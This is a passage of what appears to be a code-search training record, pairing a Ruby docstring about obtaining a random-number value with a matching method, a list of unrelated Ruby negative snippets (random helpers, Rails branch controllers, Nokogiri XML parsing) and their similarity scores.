"0.47549942",
"0.47549942",
"0.47533077",
"0.47533077",
"0.47518766",
"0.4746919",
"0.47439665",
"0.47337463",
"0.47283423",
"0.47203165",
"0.47086945",
"0.46956486",
"0.4687021",
"0.4674817",
"0.46674484",
"0.46672347",
"0.46654496",
"0.4657559",
"0.4649917",
"0.46491927",
"0.46405667",
"0.46332744",
"0.46322185",
"0.46321565",
"0.462446",
"0.4623377",
"0.46109203",
"0.46010035",
"0.4598277"
] | 0.71328175 | 2 |
Private method to obtain single RNG value. | def get_rng
z = Vector.elements(@mu.collect{ @stdnorm.rng })
(@mu + @a * z).to_a
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_random()\n random = rand([email protected])\n return @vals[random]\n end",
"def get_random\n @num.sample.first\n end",
"def get_random()\n rand(@count).times { @cur = @cur.next }\n @cur.val\n end",
"def get_random()\n values[rand(values.size)]\n end",
"def get_random\n File.read(\"/dev/urandom\", 8).unpack(\"H*\")[0].hex\n rescue\n rand(9117854927)\n end",
"def rand_value\n return Kernel.const_get(JsonRander.random_type).new\n end",
"def random_to_one\n return rand()\n end",
"def random_to_one\n return rand()\n end",
"def random_to_one\n return rand()\n end",
"def random_to_one\n return rand()\n end",
"def rand\n Kernel.rand(self)\n end",
"def rand\n return extract_number / (2**32 -1).to_f\n end",
"def get_rng\n return @lower + (@upper - @lower) * Kernel.rand\n end",
"def get_random()\n \n end",
"def get_random()\n \n end",
"def get_rng \n end",
"def get_random\n uri = [@@base_uri, 'all', 'getRandom'].join('/')\n result = get(uri)\n if result.class == Array\n return result.first \n else\n return nil\n end\n end",
"def next_value\n if @randcnt == 0\n isaac\n @randcnt = 256\n end\n @randcnt -= 1\n @randrsl[@randcnt].int\n end",
"def randomizer\n number = rand(0..1)\n return number\nend",
"def make_rand\n Random.new_seed\n return Random.new\n end",
"def get_rng\n return Math.exp(@norm.rng)\n end",
"def get_rand range\n\t\t@random_number = rand(range)\n\tend",
"def get_random()\n # generating random number within size\n r_n = rand(@hh.size)\n key = @hh.keys[r_n]\n return @hh[key]\n end",
"def generate_one_random_number()\r\n @l = @total_no_of_bits + 1\r\n bit_string = @total_sequence.join('')\r\n numerator = bit_string.to_i(2)\r\n random_number = numerator *1.0 / 2**@l\r\n\r\n return random_number\r\n end",
"def get_random\n @number_list[Random.new.rand(@number_list.length)]\n end",
"def random\n new(one.random())\n end",
"def random_float\n %x{\n self.state++;\n return Opal.$$rand.rand(self.$rng);\n }\n end",
"def rand\n warn \"STUB: rand in distribution.rb\"\n end",
"def generate_random()\n begin\n r = Kernel.rand()\n end while r == 0.0\n \n if use_flt?\n BigDecimal(r.to_s)\n else\n r\n end\n end",
"def get_random_number()\n rand(0x7fffffff).to_s\nend",
"def get_random_number\n\t\trandom_num = rand(@deck.length)\n\tend",
"def gen_num\n rand(1..100)\nend",
"def random\n RandomJam.jam(@api_key, @https)\n end",
"def kick\n rng.rand(value_range)\n end",
"def generate_number\r\n return randomNumber = 1 + rand(100)\r\n end",
"def get_rand\n rand = \"\";\n File.open(\"/dev/urandom\").read(20).each_byte{|x| rand << sprintf(\"%02x\",x)}\n rand\nend",
"def random\n 1 + (10 * rand(0))\n end",
"def generate_number\r\n \r\n #Generate and return a random number between 1 and 100\r\n return randomNo = 1 + rand($maxChallengeRange)\r\n \r\n end",
"def random\n active.order(\"RAND()\").first\n end",
"def nostalgia; return rand end",
"def generate_number\n if self.respond_to? :inv_cdf\n inv_cdf(rand)\n else\n generate_sample 1\n end\n end",
"def random_real_ruby(rng)\n total_real = rng.rand(0..@max_ruby[0])\n total_real\n end",
"def getRand()\n # With 32-bit MAX_INT to be able to have cool numbers\n return Random.rand() * 2147483647;\nend",
"def choice\n rand\n end",
"def random_number\n t = Time.now.to_f / (Time.now.to_f % Time.now.to_i)\n random_seed = t * 1103515245 + 12345;\n (random_seed / 65536) % 32768;\nend",
"def out_val(field)\n output_type = field.output_type.to_sym\n return \"'#{SecureRandom.hex[1..10]}'\" if output_type == :random\n\tif FakeLib.methods(false).include?(output_type)\n return FakeLib.send(output_type).sample\n end\nend",
"def rand\n return @location + @scale * rand_std_ratio_method\n end",
"def rand\n return self[Kernel.rand(length)]\n end",
"def random\n card = rand(1..52)\n card.to_i\n end",
"def random\n card = rand(1..52)\n card.to_i\n end",
"def get_random()\n @a.sample\n end",
"def get_random()\n @a.sample\n end",
"def value\n if not @generated\n @generated = true\n @value = generate_value\n end\n return @value\n end",
"def srand(num=0) end",
"def random\n # Hack to get the player interface\n player_iface = @parent.player.send(:interface)\n # Second integrer in array is the random status\n return player_iface.GetStatus.first[1] #== 1\n end",
"def rand_nr\n return rand(1..2)\nend",
"def get_random_number(gender)\n\t\tcount = total_count(gender)\n\t\tset_random_seed\n\t\treturn rand(1..count)\n\tend",
"def random_float\n rand * rand(10)\n end",
"def generate tries=16\n return @e unless @e.nil?\n tries.times do\n @x = rand(@q)\n @e = self.g.mod_exp(@x, self.p)\n return @e if self.valid?\n end\n raise ArgumentError, \"can't generate valid e\"\n end",
"def random= rnd\n @sampling.random = rnd\n end",
"def random_float\n Rubinius.primitive :randomizer_rand_float\n raise PrimitiveFailure, \"Randomizer#rand_float primitive failed\"\n end",
"def random_float\n Rubinius.primitive :randomizer_rand_float\n raise PrimitiveFailure, \"Randomizer#rand_float primitive failed\"\n end",
"def rand_num(range)\n num = @rng.rand(range) + 1\n num\n end",
"def get_random_number(max_value = 10)\n\trand(max_value)\nend",
"def get\n @mutex.synchronize { @value }\n end",
"def random_no\n rand(5000)\nend",
"def random\n rand - rand\nend",
"def rand_one(item_type)\n\t\t\tnum = rand(1..MAX_RATE)\n\n\t\t\tconst(item_type.to_i).each do |key, val|\n\t\t\t\tif num.in?(key)\n\t\t\t\t\treturn val\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def rand\n self[Kernel.rand(length)]\n end",
"def randomNum()\r\n num = rand(1..10)\r\nend",
"def pick_random_number(digits=1)\n min = 10 ** (digits - 1)\n max = (10 ** digits ) - 1\n semirandom = min + rand(max-min)\n semirandom += 1 if semirandom == 666 #would be unpleasant to receive...\n return semirandom\n end",
"def rand(value=-1)\r\n if (value > 0) then old_rand(value)\r\n else self[Kernel.rand(length)] end\r\n end",
"def generate_number\r\n \r\n #Generate and return a random number between 1 and 1000\r\n return randomNo = 1 + rand(1000)\r\n \r\n end",
"def uniform_int(n)\n (rand()*n).to_i\nend",
"def secure_random\n OpenSSL::Random.random_bytes(32).unpack(\"H*\")[0]\n end",
"def get_rng\n\t k = @dof.to_i\n\t samples = []\n\t k.times {|i| samples << @stdnorm.rng }\n\t factor = 1.0 / Math.sqrt(samples.inject(0.0) {|sum,x| sum + x**2} / k)\n return (factor * @stdnorm.rng)\n end",
"def get_rng\n nold = -1\n pold = -1\n p = (if @p <= 0.5 then @p else 1.0 - @p end)\n am = @n * p\n if @n < 25\n bnl = 0.0\n for i in (1...@n) \n if Kernel.rand < p \n bnl = bnl.next\n end\n end\n elsif am < 1.0\n g = Math.exp(-am)\n t = 1.0\n for j in (0 ... @n)\n t = t * Kernel.rand\n break if t < g\n end\n bnl = (if j <= @n then j else @n end)\n else\n if n != nold\n en = @n\n oldg = log_gamma(en + 1.0)\n nold = n\n end\n if p != pold\n pc = 1.0 - p\n plog = Math.log(p)\n pclog = Math.log(pc)\n pold = p\n end\n sq = Math.sqrt(2.0 * am * pc)\n until Kernel.rand <= t do\n until (em >= 0.0 || em < (en + 1.0)) do\n angle = Pi * Kernel.rand\n y = Math.tan(angle)\n em = sq * y + am\n end\n em = em.floor\n t = 1.2 * sq * (1.0 + y * y) * \n Math.exp(oldg - log_gamma(em + 1.0) - \n log_gamma(en - em + 1.0) + em * plog + (en - em) * pclog)\n end\n bnl = em\n end\n if p != @p\n bnl = @n - bnl\n end\n return bnl\n end",
"def make_not_so_random!\n srand 1213\nend",
"def rng(n=1)\n if n < 1\n return \"Number of random numbers to return must be 1 or greater\"\n end\n if (n > 1)\n rnd_vals = []\n for i in (0..n)\n rnd_vals[i] = get_rng()\n end\n return rnd_vals\n else\n return get_rng()\n end\n end",
"def random_one\n # p Rails.cache.read('all_codes')\n\n codes = read_or_write_all_code\n code = codes.sample(1)\n return Core::Village.find_by_code(code)\n end",
"def test_random_real_ruby\n mock_rng = Minitest::Mock.new('rng')\n def mock_rng.rand(x); 1; end\n result = @l1.random_real_ruby(mock_rng)\n assert_equal result, 1 # pass\n end",
"def rand(*args)\n Kernel.rand(*args)\nend",
"def random_element()\n shuffle[0]\n end",
"def return_1_or_2\n 1 + rand(2)\nend",
"def ran0()\n $seed = $IA*$seed % $I\nend",
"def gen_random_int\n $lasti = ($lasti * IA + IC) % IM\nend",
"def random_element()\n\t\tshuffle[0]\n\tend",
"def generator_rand(max)\n return nil if max < 0\n\n result = rand(max + 1)\n result\n end",
"def random_num_generator\n return rand(1..100)\nend",
"def random_num_generator\n return rand(1..100)\nend",
"def generate_number\n \n #generate and return a random number from 1 to 100\n return randomNO = 1 + rand(1000)\n\n end",
"def gen\n key = :exists\n @mutex.synchronize do\n key = rand(2*31) while @hash[key]\n @hash[key] = true\n end\n key\n end",
"def random_number\n rand(0..20)\n end",
"def gen_e\n handle_exceptions do\n loop do\n e = rand(4..k)\n return e if e.gcd(k) == 1\n end\n end\n end",
"def number_generator\n rand(1..20)\n end",
"def random_element\n sample\n end",
"def random_number(seed, range)\n seed = seed.to_i\n return nil if seed <= 0\n rng2 = Random.new(seed)\n num = rng2.rand(range) + 1\n num\n end",
"def rand1\n rand(MAX_PK) + 1\n end",
"def randomItem\n return self[rand(self.length)] # zero based, so this works math-wise...\n end",
"def get_random(min, max)\r\n rand(min..max)\r\n end",
"def get_next_uuid\n rand(8**32).to_s(36)\n end"
] | [
"0.7325833",
"0.7275283",
"0.7105899",
"0.70283216",
"0.6896846",
"0.68692094",
"0.6823519",
"0.6823519",
"0.6823519",
"0.6823519",
"0.6815216",
"0.6768864",
"0.6682432",
"0.65859425",
"0.65859425",
"0.65685177",
"0.6558948",
"0.6511198",
"0.64849097",
"0.6481575",
"0.6403127",
"0.63961655",
"0.63839495",
"0.6369312",
"0.63549095",
"0.6295163",
"0.6292702",
"0.627361",
"0.624855",
"0.62220186",
"0.62085414",
"0.62007916",
"0.61821294",
"0.61814475",
"0.6176971",
"0.6176159",
"0.61740476",
"0.613316",
"0.61054206",
"0.6099799",
"0.6078474",
"0.6072034",
"0.6052909",
"0.6035577",
"0.60306185",
"0.60265285",
"0.6019177",
"0.59714556",
"0.5961196",
"0.59591466",
"0.5951947",
"0.5951947",
"0.5940945",
"0.59067017",
"0.59066516",
"0.5894552",
"0.5890171",
"0.5874774",
"0.5861949",
"0.58445626",
"0.5842521",
"0.5842521",
"0.5842215",
"0.5840675",
"0.5839702",
"0.583672",
"0.5833954",
"0.58313864",
"0.5831033",
"0.58295524",
"0.5819811",
"0.5808068",
"0.5808066",
"0.58015144",
"0.57966685",
"0.5785388",
"0.57814115",
"0.5780467",
"0.5774992",
"0.5749491",
"0.5745993",
"0.5741101",
"0.5737066",
"0.5728752",
"0.5725975",
"0.572499",
"0.572465",
"0.57192016",
"0.5710038",
"0.5710038",
"0.57053417",
"0.5700876",
"0.5686884",
"0.5668381",
"0.5668172",
"0.5667025",
"0.56653225",
"0.5661059",
"0.5656113",
"0.56484795",
"0.56389534"
] | 0.0 | -1 |
branch = Vebra::Branch.new(nokogiri_xml_object, vebra_client_object) | def initialize(nokogiri_xml, client)
@xml = nokogiri_xml.to_xml
@client = client
@attributes = Vebra.parse(nokogiri_xml)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_branch\n nokogiri_xml_full = client.call(attributes[:url]).parsed_response\n @xml = nokogiri_xml_full.to_xml\n nokogiri_xml = nokogiri_xml_full.css('branch')\n @attributes.merge!(Vebra.parse(nokogiri_xml))\n end",
"def get_branches\n xml = call(:branches).parsed_response\n xml.css('branches branch').map { |b| Branch.new(b, self) }\n end",
"def create_branch\n @tree_class.new\n end",
"def create\n #@branch = Branch.new(params[:branch])\n\n respond_to do |format|\n if @branch.save\n format.html { redirect_to(@branch, :notice => 'Branch was successfully created.') }\n format.xml { render :xml => @branch, :status => :created, :location => @branch }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @branch.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n #@branch = Branch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @branch }\n end\n end",
"def set_branch\n @branch = Branch.find(params[:id])\n end",
"def branch(...)\n ApplicationClient.new(...)\n end",
"def test2\n uri = 'http://dbhack1.nescent.org/cgi-bin/phylows.pl/phylows/tree/TB:1999'\n # @x = Net::HTTP.get_response(URI.parse(uri)).body\n @d = Nexml::Document.new(:url => uri)\n end",
"def new\n @branch = Branch.new\n respond_with(@branch)\n end",
"def build_branch(branch, params = {}, body = {})\n CircleCi.request(conf, \"#{base_path}/tree/#{branch}\", params).post(body)\n end",
"def build_branch(branch, params = {}, body = {})\n CircleCi.request(@conf, \"/project/#{username}/#{project}/tree/#{branch}\", params).post(body)\n end",
"def set_branch\n @branch = Branch.find(params[:id])\n end",
"def set_branch\n @branch = Branch.find(params[:id])\n end",
"def set_branch\n @branch = Branch.find(params[:id])\n end",
"def set_branch\n @branch = Branch.find(params[:id])\n end",
"def set_branch\n @branch = Branch.find(params[:id])\n end",
"def set_branch\n @branch = Branch.find(params[:id])\n end",
"def set_branch\n @branch = Branch.find(params[:id])\n end",
"def set_branch\n @branch = Branch.find(params[:id])\n end",
"def set_branch\n @branch = Branch.find(params[:id])\n end",
"def set_branch_tree\n @branch_tree = BranchTree.find(params[:id])\n end",
"def from_node(node); end",
"def create\n @page_title = t('branches.new.title') \n @branches = Branch.all \n @branch = Branch.new(params[:branch])\n respond_to do |format|\n if @branch.save\n flash[:notice] = t('branches.new.success', :branch_name => @branch.name)\n format.html { redirect_to(edit_branch_url(@branch)) }\n format.xml { render :xml => @branch, :status => :created, :location => @branch }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @branch.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def as( branchclass )\n\t\tnewset = self.clone\n\t\tnewset.branch = branchclass.new( self.branch.directory, self.branch.dn )\n\t\treturn newset\n\tend",
"def new\n @object = @hq_vlan = HqVlan.new\n respond_to do |format|\n format.html { render :template => 'reflected/new' }\n format.xml { render :xml => @hq_vlan }\n end\n end",
"def set_branch\n branch = Branch.find(params[:id])\n end",
"def xml_page\n page = BR.html\n Nokogiri::HTML(page)\nend",
"def show\n @branch = @repository.branches.where(name: params[:branch_name]).first!\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @branch }\n end\n end",
"def branchset\n\t\treturn Treequel::Branchset.new( self )\n\tend",
"def set_branch\n @branch = Branch.get_branch(params[:id], params[:workspace_id]).first\n end",
"def initialize(bridge, id); end",
"def initialize(bridge, id); end",
"def branch(project_id, branch_id)\n params = { query: [project_id, branch_id] }\n\n data = endpoint(name: 'Branches', params: params).do_get\n\n resource 'Branch', data\n end",
"def update_branch!(branch)\n self.name = Job.name_for_branch(self.name, branch)\n xml = REXML::Document.new(self.data)\n REXML::XPath.first(xml, '/project/scm/branches/hudson.plugins.git.BranchSpec/name').text = REXML::XPath.first(xml, '/project/scm/branches/hudson.plugins.git.BranchSpec/name').text.gsub /template/, branch\n self.data = xml.to_s\n\n self\n end",
"def branches; end",
"def show\n @branch = @repository.branches.where(:name => params[:branch_name]).first!\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @branch }\n end\n end",
"def set_branch\r\n @branch = @current_shop.branches.find(params[:id])\r\n @current_branch = @branch\r\n end",
"def set_branch\r\n @branch = @current_shop.branches.find(params[:id])\r\n @current_branch = @branch\r\n end",
"def initialize(vm_root, xpath_filter, deploy_id)\n @vm_root = vm_root\n @deploy_id = deploy_id\n\n @vm_info = {}\n\n @deploy_id = nil if deploy_id == '-'\n\n @nics = VNMNetwork::Nics.new(hypervisor)\n @nics_alias = VNMNetwork::Nics.new(hypervisor)\n\n @pcis = VNMNetwork::Nics.new(hypervisor)\n\n return if xpath_filter.nil?\n\n @vm_root.elements.each(xpath_filter) do |nic_element|\n nic = @nics.new_nic\n\n nic_build_hash(nic_element, nic)\n\n if !VNMMAD.pre_action?\n nic.get_info(self)\n nic.get_tap(self)\n end\n\n @nics << nic\n end\n\n @vm_root.elements.each('TEMPLATE/NIC_ALIAS') do |nic_element|\n nic = @nics_alias.new_nic\n\n nic_build_hash(nic_element, nic)\n\n @nics_alias << nic\n end\n\n pci_xpath_filter = xpath_filter.gsub(/\\/NIC/,'/PCI')\n\n @vm_root.elements.each(pci_xpath_filter) do |ne|\n nic = @pcis.new_nic\n\n nic_build_hash(ne, nic)\n\n @pcis << nic\n end\n end",
"def initialize\n @macbeth = Nokogiri::XML(open(\"http://www.ibiblio.org/xml/examples/shakespeare/macbeth.xml\"))\n end",
"def get_branch \n branch = case @os_svninfo['URL']\n when /trunk/ then \"trunk\"\n when /branches\\/private\\/([^\\/]+)/ then $1\n when /branches\\/([^\\/]+)/ then $1\n when /patches\\/([^\\/]+)/ then $1\n when /tags\\/([^\\/]+)/ then $1\n else fail(\"Can't determine which branch I'm operating on\")\n end\n branch\n end",
"def index\n @branches = @repository.branches\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @branches }\n end\n end",
"def initialize_braintree_obj\n @gateway = ::Braintree::Gateway.new(\n :environment => @environment,\n :merchant_id => @merchant_id,\n :public_key => @public_key,\n :private_key => @private_key\n )\n end",
"def convert(client_ref, obj)\n body = extract_xml_body(obj).to_xml.root\n attrs = parse(body)\n attrs.merge!({\n :_id => body['id'],\n :url => body['href'],\n :_client => client_ref,\n :name => body.text_at(:name),\n :description => body.text_at(:description)\n })\n validate_attrs!(attrs)\n new(attrs.merge(:original_body => obj))\n end",
"def set_descendant_branch\n @descendant_branch = DescendantBranch.find(params[:id])\n end",
"def xml_to_vehicle(query_response)\n return Lynr::Model::Vehicle.new if query_response.nil?\n us_data = query_response.find_first('.//us_market_data/common_us_data')\n Lynr::Model::Vehicle.new({\n 'price' => content(us_data, './pricing/msrp'),\n 'mpg' => xml_to_mpg(query_response),\n 'vin' => xml_to_vin(query_response)\n })\n end",
"def initialize(xml)\n #puts \"________________________________________\"\n #puts xml\n #puts \"________________________________________\"\n @doc = Nokogiri::XML(xml)\n parse_response\n end",
"def set_company_branch\n @company_branch = CompanyBranch.find(params[:id])\n end",
"def create_branch_point( *elements )\n return Util::ExpressionForms::BranchPoint.new( *elements )\n end",
"def create\n @branch = Branch.new(params[:branch])\n flash[:notice] = 'Branch was successfully created.' if @branch.save\n respond_with(@branch)\n end",
"def set_customerbranch\n @customerbranch = Customerbranch.find(params[:id])\n end",
"def test_branch\n #puts \"---------------test_branch-----------------\"\n t1= nil\n t2 = nil\n t11 = nil\n t12 = nil\n GraphBuilder::Builder.build do |b|\n t1 = b.add(Thing1.new)\n b.branch do \n t11 = b.add(Thing11.new)\n t12 = b.add(Thing12.new)\n end\n t2 = b.add(Thing2.new)\n end\n\n r = Thing.links([t1,t2,t11,t12])\n assert_equal 4, r.size\n assert r.include? [t1,t11]\n assert r.include? [t1,t12]\n assert r.include? [t11,t2]\n assert r.include? [t12,t2]\n end",
"def create\n @labbranch = labbranch.new(params[:labbranch])\n\n respond_to do |format|\n if @labbranch.save\n format.html { redirect_to @labbranch, notice: 'labbranch was successfully created.' }\n format.json { render json: @labbranch, status: :created, location: @labbranch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @labbranch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @branches = @repository.branches\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @branches }\n end\n end",
"def bnode(id)\n RDF::Node.intern(id)\n end",
"def bnode(id)\n id.gsub!(/[^A-Za-z0-9\\-_]/, '_')\n @@nodes ||= {}\n @@nodes[id] ||= RDF::Node(id)\n end",
"def from_xml(xml)\n\t\tend",
"def branch; end",
"def initialize(node, client)\n @xml = node\n @client = client\n @hash = nil\n \n if self['ID']\n @pe_id = self['ID'].to_i\n else\n @pe_id = nil\n end\n @name = self['NAME'] if self['NAME']\n end",
"def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end",
"def set_restaurant_branch\n @restaurant_branch = RestaurantBranch.find(params[:id])\n end",
"def create\n @tree=Tree.find(params[:branch][:tree_id])\n if @tree\n @branch = Branch.new()\n @branch.private=params[:branch][:private]\n @branch.name=params[:branch][:name]\n @branch.tree=@tree\n @[email protected]\n respond_to do |format|\n if @branch.save\n admin=Affiliation::Administration.new\n admin.user=current_user\n admin.entity=@branch\n admin.save\n #@branch.memberships.create({:user => current_user, :admin => true}, :as => :admin)\n format.html { redirect_to tree_branch_url @tree,@branch, notice: 'Branch was successfully created.' }\n format.json\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n format.js { render action: \"new\",status: :unprocessable_entity }\n end\n end\n else\n render :json => {:error=>\"not found\"},:status => 404\n end\n end",
"def create( branch, newattrs={} )\n\t\tnewattrs = normalize_attributes( newattrs ) if newattrs.is_a?( Hash )\n\t\tself.conn.add( branch.to_s, newattrs )\n\n\t\treturn true\n\tend",
"def create\n @branch_tree = BranchTree.new(branch_tree_params)\n\n respond_to do |format|\n if @branch_tree.save\n format.html { redirect_to @branch_tree, notice: 'Branch tree was successfully created.' }\n format.json { render :show, status: :created, location: @branch_tree }\n else\n format.html { render :new }\n format.json { render json: @branch_tree.errors, status: :unprocessable_entity }\n end\n end\n end",
"def app\n BranchApp.new\nend",
"def initialize(project)\n @name = project.at_xpath('name').text\n @type = project.at_xpath('type').text\n @connection = project.at_xpath('connection').text\n\n @tag = 'master'\n tag_element = project.at_xpath('tag')\n @tag = tag_element.text unless tag_element.nil?\n\n webview_url_element = project.at_xpath('webview-url')\n @webview_url = default_webview_url\n @webview_url = webview_url_element.text unless webview_url_element.nil?\n\n @exclude_pattern = []\n project.xpath('exclude-pattern').each do |ep|\n @exclude_pattern.push(ep.text)\n end\n\n @report_diff = nil\n end",
"def create_branch(name)\n begin\n res = satelliterepo.create_branch(name)\n rescue\n return nil\n end\n pushtobare name\n res\n end",
"def initialize(node)\n @node = node\n end",
"def new\n @vlan = Vlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @vlan }\n end\n end",
"def current_branch; end",
"def current_branch; end",
"def create\n @hq_vlan = HqVlan.new(params[:hq_vlan])\n params[:hq_vlan][:assigned_hq_nic] ||= {}\n \n respond_to do |format|\n if @hq_vlan.save\n flash[:notice] = 'Virtual Server was successfully created.'\n format.html { redirect_to :action => :index }\n format.xml { render :xml => @hq_vlan, :status => :created, :location => @hq_vlan }\n else\n messages = '<ul>Error:'\n @hq_vlan.errors.full_messages.each {|msg| messages += '<li>'+msg+'</li>'}\n messages += '</ul>'\n flash[:notice] = messages\n format.html { redirect_to :action => \"new\", :template => 'reflected/new' }\n format.xml { render :xml => @hq_vlan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @restaurant = Restaurant.find(params[:id])\n @branches = @restaurant.branches\n end",
"def setup_expected(blob)\n @blob_url = \"/dataservice/blobs/#{blob.id}.blob/#{blob.token}\"\n @expected_otml = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <otrunk id=\"04dc61c3-6ff0-11df-a23f-6dcecc6a5613\">\n <imports>\n <import class=\"org.concord.otrunk.OTStateRoot\" />\n <import class=\"org.concord.otrunk.user.OTUserObject\" />\n <import class=\"org.concord.otrunk.user.OTReferenceMap\" />\n <import class=\"org.concord.otrunk.ui.OTCardContainer\" />\n <import class=\"org.concord.otrunk.ui.OTSection\" />\n <import class=\"org.concord.otrunk.ui.OTChoice\" />\n <import class=\"org.concord.otrunk.ui.OTText\" />\n <import class=\"org.concord.datagraph.state.OTDataGraphable\" />\n <import class=\"org.concord.data.state.OTDataStore\" />\n <import class=\"org.concord.otrunk.util.OTLabbookBundle\" />\n <import class=\"org.concord.otrunk.util.OTLabbookEntry\" />\n <import class=\"org.concord.datagraph.state.OTDataCollector\" />\n <import class=\"org.concord.datagraph.state.OTDataAxis\" />\n <import class=\"org.concord.otrunk.view.OTFolderObject\" />\n <import class=\"org.concord.framework.otrunk.wrapper.OTBlob\" />\n <import class=\"org.concord.graph.util.state.OTDrawingTool\" />\n <import class=\"org.concord.otrunk.labbook.OTLabbookButton\" />\n <import class=\"org.concord.otrunk.labbook.OTLabbookEntryChooser\" />\n </imports>\n <objects>\n <OTStateRoot formatVersionString=\"1.0\">\n <userMap>\n <entry key=\"c2f96d5e-6fee-11df-a23f-6dcecc6a5613\">\n <OTReferenceMap>\n <user>\n <OTUserObject id=\"c2f96d5e-6fee-11df-a23f-6dcecc6a5613\" />\n </user>\n <map>\n <entry key=\"fe6dcc58-6f7d-11df-81fc-001ec94098a1!/lab_book_bundle\">\n <OTLabbookBundle>\n <entries>\n <OTLabbookEntry timeStamp=\"June 4 at 11:39\" type=\"Graphs\" note=\"Add a note describing this entry...\">\n <oTObject>\n <OTDataCollector id=\"540d78fe-6fef-11df-a23f-6dcecc6a5613\" useDefaultToolBar=\"false\" showControlBar=\"true\" title=\"Government Support for Educational Technology\" displayButtons=\"4\" name=\"Government Support for Educational Technology\" multipleGraphableEnabled=\"false\" autoScaleEnabled=\"false\">\n <source>\n <OTDataGraphable drawMarks=\"true\" connectPoints=\"true\" visible=\"true\" color=\"16711680\" showAllChannels=\"false\" name=\"Governmen...\" xColumn=\"0\" lineWidth=\"2.0\" yColumn=\"1\" controllable=\"false\">\n <dataStore>\n <OTDataStore numberChannels=\"2\" />\n </dataStore>\n </OTDataGraphable>\n </source>\n <xDataAxis>\n <OTDataAxis min=\"1981.708\" max=\"2020.0248\" label=\"Time\" labelFormat=\"None\" units=\"years\">\n <customGridLabels />\n </OTDataAxis>\n </xDataAxis>\n <dataSetFolder>\n <OTFolderObject />\n </dataSetFolder>\n <yDataAxis>\n <OTDataAxis min=\"19.401735\" max=\"82.00013\" label=\"Temperature\" labelFormat=\"None\" units=\"C\">\n <customGridLabels />\n </OTDataAxis>\n </yDataAxis>\n </OTDataCollector>\n </oTObject>\n <container>\n <object refid=\"fe6dcc58-6f7d-11df-81fc-001ec94098a1!/section_card_container_activity_17/cards[0]\" />\n </container>\n <originalObject>\n <object refid=\"fe6dcc58-6f7d-11df-81fc-001ec94098a1!/data_collector_3\" />\n </originalObject>\n </OTLabbookEntry>\n <OTLabbookEntry timeStamp=\"June 4 at 11:41\" type=\"Snapshots\" note=\"Add a note describing this entry...\">\n <oTObject>\n <OTBlob id=\"aae0cc59-6fef-11df-a23f-6dcecc6a5613\">\n <src>' + @blob_url + '</src>\n </OTBlob>\n </oTObject>\n <container>\n <object refid=\"fe6dcc58-6f7d-11df-81fc-001ec94098a1!/section_card_container_activity_17/cards[0]\" />\n </container>\n <originalObject>\n <object refid=\"fe6dcc58-6f7d-11df-81fc-001ec94098a1!/mw_modeler_page_2\" />\n </originalObject>\n <drawingTool>\n <OTDrawingTool id=\"aae0cc5b-6fef-11df-a23f-6dcecc6a5613\" scaleBackground=\"true\">\n <backgroundSrc>\n <object refid=\"aae0cc59-6fef-11df-a23f-6dcecc6a5613\" />\n </backgroundSrc>\n </OTDrawingTool>\n </drawingTool>\n </OTLabbookEntry>\n </entries>\n </OTLabbookBundle>\n </entry>\n </map>\n </OTReferenceMap>\n </entry>\n </userMap>\n </OTStateRoot>\n </objects>\n </otrunk>\n\n '\n @expected_body = '<sessionBundles xmlns:xmi=\"http://www.omg.org/XMI\" xmlns:sailuserdata=\"sailuserdata\" start=\"2010-06-04T11:35:09.053-0400\" stop=\"2010-06-04T11:44:53.604-0400\" curnitUUID=\"cccccccc-0009-0000-0000-000000000000\" sessionUUID=\"863174f4-79a1-4c44-9733-6a94be2963c9\" lastModified=\"2010-06-04T11:44:10.136-0400\" timeDifference=\"743\" localIP=\"10.11.12.235\">\n <sockParts podId=\"dddddddd-0002-0000-0000-000000000000\" rimName=\"ot.learner.data\" rimShape=\"[B\">\n <sockEntries value=\"' + B64Gzip.pack(@expected_otml) + '\" millisecondsOffset=\"541083\"/>\n </sockParts>\n <agents role=\"RUN_WORKGROUP\"/>\n <sdsReturnAddresses>http://has.staging.concord.org/dataservice/bundle_loggers/6/bundle_contents.bundle</sdsReturnAddresses>\n <launchProperties key=\"maven.jnlp.version\" value=\"all-otrunk-snapshot-0.1.0-20100601.133611\"/>\n <launchProperties key=\"sds_time\" value=\"1275665709053\"/>\n <launchProperties key=\"sailotrunk.otmlurl\" value=\"http://has.staging.concord.org/investigations/7.dynamic_otml\"/>\n </sessionBundles>'\n\n end",
